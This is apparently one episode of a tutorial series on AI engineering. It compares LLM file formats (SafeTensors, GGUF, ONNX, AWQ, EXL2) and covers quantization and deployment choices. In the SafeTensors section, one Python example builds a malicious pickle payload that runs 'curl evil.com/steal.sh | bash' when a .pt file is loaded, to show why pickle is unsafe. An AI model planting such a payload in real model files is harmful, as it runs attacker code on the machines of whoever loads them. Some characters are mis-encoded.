You download a 7B model from Hugging Face. The folder contains files ending in .safetensors. Your friend sends you a .gguf file to run on your laptop. Someone in a Discord server swears by .onnx for production. Another person mentions .awq and .exl2.
Five different formats. All containing the same model. What's going on?
The format you choose determines where the model runs, how fast it loads, how much RAM it needs, and whether it's safe to even open the file. This isn't just a packaging difference β it's an infrastructure decision.
Why Multiple Formats Exist
A model is fundamentally just a collection of tensors (multidimensional arrays of numbers) plus some metadata (architecture info, tokenizer config, hyperparameters).
The question is: how do you serialize those tensors to disk?
Different tools need different things:
Need Format
| Run on CPU/laptop with llama.cpp | GGUF |
|---|---|
| Train/fine-tune with PyTorch | SafeTensors (or .pt) |
| Deploy to production with ONNX Runtime | ONNX |
| Quantized inference with vLLM | AWQ |
| Maximum GPU efficiency with ExLlamaV2 | EXL2 |
No single format wins everywhere. Let's break them down.
SafeTensors: The Safe Default
Created by: Hugging Face File extension: .safetensors Primary use: Training, fine-tuning, GPU inference with PyTorch/Transformers
SafeTensors was born from a security crisis. The old format β PyTorch's .pt / .bin files β used Python's pickle for serialization. And pickle can execute arbitrary code when loading a file.
python
Why .pt files are dangerous β pickle can run code on load
import pickle
class Malicious:
def __reduce__(self):
return (os.system, ("curl evil.com/steal.sh | bash",))Save a "model" that runs a shell command when loaded
torch.save({"weight": Malicious()}, "evil_model.pt")
Anyone who does torch.load("evil_model.pt") just got pwned
SafeTensors fixes this by using a simple binary format β no code execution, ever:
[8 bytes: header size][JSON header][tensor data][tensor data]...
The header is JSON describing each tensor's name, dtype, and byte offset. The data is raw bytes. No pickle. No code. No surprises.
python
from safetensors import safe_open
from safetensors.torch import save_file
Save
tensors = {"weight": torch.randn(768, 768), "bias": torch.zeros(768)}
save_file(tensors, "model.safetensors")Load β safe, no code execution
with safe_open("model.safetensors", framework="pt") as f:
weight = f.get_tensor("weight")
bias = f.get_tensor("bias")Memory-mapped loading β doesn't load entire file into RAM
Only reads tensors you access
Key Features
Feature SafeTensors PyTorch .pt
| Security | β No code execution | β Arbitrary code via pickle |
|---|---|---|
| Memory mapping | β Load tensors on demand | β Loads everything |
| Speed | β Near-instant header parse | β Slower deserialization |
| Multi-file | β Sharded across files | β Yes |
| Framework | PyTorch, TensorFlow, Jax, Flax | PyTorch only |
SafeTensors is now the default format on Hugging Face. If you see a model with .safetensors files, that's the one to use.
π§
GGUF: The Local Inference King
Created by: Georgi Gerganov (llama.cpp) File extension: .gguf Primary use: CPU and consumer GPU inference via llama.cpp, Ollama, LM Studio
GGUF (GPT-Generated Unified Format) is the format that made "run AI on your laptop" possible. It's designed for one thing: efficient local inference.What Makes GGUF Special
Single file: One .gguf file = entire model (weights + tokenizer + metadata). No folder of files.
Built-in quantization: Supports Q2, Q3, Q4, Q5, Q6, Q8, F16, F32 β all in one format
CPU-optimized: Designed for llama.cpp's CPU inference engine with AVX/NEON SIMD
Metadata inside: Architecture, context length, tokenizer vocab β all embedded in the file
bash
Download and run β that's it
ollama run llama3:8b-q4_K_M
Or with llama.cpp directly
./llama-cli -m llama-3-8b-Q4_K_M.gguf -p "Hello, world"
GGUF Quantization Naming
The naming tells you exactly what you're getting:
llama-3-8b-Q4_K_M.gguf
β β β
β β ββ Size: S(mall), M(edium), L(arge)
β ββββ Method: K(means-based quantization)
βββββββ Bits: 4-bit quantization| Quant | Bits/Weight | Size (8B model) | Quality | Use Case |
|---|---|---|---|---|
| Q2_K | ~2.5 | ~3 GB | Poor | Desperate for RAM |
| Q4_K_M | ~4.5 | ~5 GB | Good | Sweet spot for most users |
| Q5_K_M | ~5.5 | ~6 GB | Great | Better quality, still fast |
| Q6_K | ~6.5 | ~7 GB | Excellent | Near-lossless |
| Q8_0 | 8 | ~9 GB | Near-perfect | When you have the RAM |
| F16 | 16 | ~16 GB | Original | Full precision |
GGUF vs the Old GGML
GGUF replaced the older GGML format in August 2023. The key improvement: extensible metadata. GGML had hardcoded fields. GGUF uses key-value pairs, so new model architectures don't need format changes.
GGUF file structure
[Magic: "GGUF"][Version][Tensor Count][Metadata KV pairs][Tensor Info][Tensor Data...]
π
ONNX: The Universal Runtime
Created by: Microsoft + Facebook (now community-driven) File extension: .onnx Primary use: Cross-platform production deployment
ONNX (Open Neural Network Exchange) isn't just a file format β it's an entire computation graph specification. While SafeTensors and GGUF store weights, ONNX stores weights plus the operations that connect them.python
ONNX stores the actual computation graph
Not just: weight_1 = [0.5, 0.3, ...]
But: output = MatMul(input, weight_1) β Add(bias_1) β ReLU() β MatMul(weight_2)...
Why This Matters
Because the graph is self-contained, ONNX models can run on any runtime without needing the original framework:
Runtime Platform Hardware
| ONNX Runtime (ORT) | Linux, Windows, macOS, Android, iOS | CPU, CUDA GPU, TensorRT, DirectML |
|---|---|---|
| TensorRT | Linux, Windows | NVIDIA GPUs |
| OpenVINO | Linux, Windows | Intel CPU/GPU/VPU |
| Core ML (via conversion) | macOS, iOS | Apple Silicon |
| WASM | Browser | Any |
python
import onnxruntime as ort
Load and run β no PyTorch needed
session = ort.InferenceSession("model.onnx", providers=["CUDAExecutionProvider"])
result = session.run(None, {"input": input_data})ONNX Tradeoffs
Pro Con
Cross-platform deployment Conversion from PyTorch can be tricky
| Optimized runtimes per hardware | Large models = massive .onnx files |
|---|---|
| No Python dependency at inference | Dynamic shapes need special handling |
| Hardware-specific optimizations | Not all PyTorch ops are supported |
ONNX shines for edge deployment and production APIs where you want to strip out Python entirely and run on specialized hardware.
AWQ: Activation-Aware Quantization
Created by: MIT HAN Lab File extension: .safetensors (with AWQ config) or .pt Primary use: Quantized GPU inference with vLLM, TGI, AutoAWQ
AWQ is a quantization method, not strictly a file format. But quantized AWQ models are distributed as their own category on Hugging Face.
The key insight: not all weights are equally important. AWQ identifies which weight channels matter most (based on activation magnitudes) and protects them during quantization.
python
Standard quantization: all weights treated equally
Weight: [0.523, 0.001, 0.892, 0.003, 0.741]
Q4: [0.5, 0.0, 0.9, 0.0, 0.7] β important ones got rounded
AWQ: protect high-activation channels
Activations suggest channels 0, 2, 4 are critical
Scale those channels up before quantization, down after
Result: critical channels get much higher precision
AWQ vs GPTQ
AWQ GPTQ
| Calibration data | Small (~128 samples) | Larger (~1024 samples) |
|---|---|---|
| Speed | Faster quantization | Slower quantization |
| Quality at 4-bit | Slightly better | Good |
| vLLM support | β First-class | β Supported |
| CPU inference | β GPU only | β GPU only |
EXL2: Maximum GPU Efficiency
Created by: turboderp (ExLlamaV2) File extension: .safetensors (with EXL2 config) Primary use: Fast quantized inference on consumer GPUs
EXL2 does something clever: mixed-precision quantization per layer. Instead of quantizing every layer to the same bit width, it allocates more bits to important layers and fewer to less important ones.
Layer 0 (embedding): 6 bits β critical for quality
Layer 1-5: 4 bits β can handle lower precision
Layer 6-10: 3.5 bits β even lower
Layer 11 (output): 5 bits β important for final output
Average: 4.0 bits per weight β same size as Q4, but smarter allocation
Feature EXL2 GGUF Q4 AWQ 4-bit
| Mixed precision | β Per-layer | β Uniform | β Uniform |
|---|---|---|---|
| Speed (GPU) | Fastest | Good | Fast |
| Speed (CPU) | β GPU only | β CPU king | β GPU only |
| Quality at 4bpw | Best | Good | Good |
| Ecosystem | ExLlamaV2, TabbyAPI | Ollama, llama.cpp, LM Studio | vLLM, TGI |
π¬
Decision Flowchart
Need to run a model? Ask yourself:
βββ Running locally on your laptop?
β βββ GGUF (via Ollama or LM Studio)
β
βββ Training or fine-tuning?
β βββ SafeTensors (with PyTorch/Transformers)
β
βββ Deploying to production API?
β βββ GPU available β AWQ (with vLLM)
β βββ Mixed hardware β ONNX (with ORT)
β βββ Consumer GPU, max speed β EXL2 (with ExLlamaV2)
β
βββ Edge/mobile deployment?
βββ ONNX β convert to Core ML / TensorRTπ‘οΈ
Try It Yourself
bash
Convert a Hugging Face model to GGUF
pip install llama-cpp-python
Using llama.cpp's convert script
python convert_hf_to_gguf.py \
--model meta-llama/Llama-3-8B \
--outfile llama-3-8b-f16.gguf
Quantize to Q4_K_M
./llama-quantize llama-3-8b-f16.gguf llama-3-8b-Q4_K_M.gguf Q4_K_M
Or just download pre-quantized from TheBloke/bartowski on HF
Much easier than converting yourself
π¦
Practical Takeaways
SafeTensors is the safe default β use it for anything PyTorch-based, never use .pt files from untrusted sources
GGUF is for local inference β single file, built-in quantization, the Ollama/LM Studio format
ONNX is for cross-platform production β strips out Python, runs on any hardware
AWQ protects important weights during quantization β best for vLLM production serving
EXL2 allocates bits per layer β smartest quantization, best quality-per-bit on GPU
The format is an infrastructure choice β it determines your entire deployment stack
π
What's Next?
Episode 74: Attention Variants: MHA, MQA, GQA β The attention mechanism is the heart of every transformer. But the original "Multi-Head Attention" has a scaling problem. MQA and GQA trade a tiny bit of quality for massive memory savings. We'll see exactly how they work and why every modern model uses GQA.
β Previous
Ep 72: SentencePiece vs tiktoken
Next β
Ep 74: Attention Variants
Next: Episode 74 β Attention Variants
The original Multi-Head Attention has a dirty secret: it's a memory hog. MQA and GQA fix it β with tradeoffs.
This is part of a 98-episode series covering AI engineering from tokens to production deployment.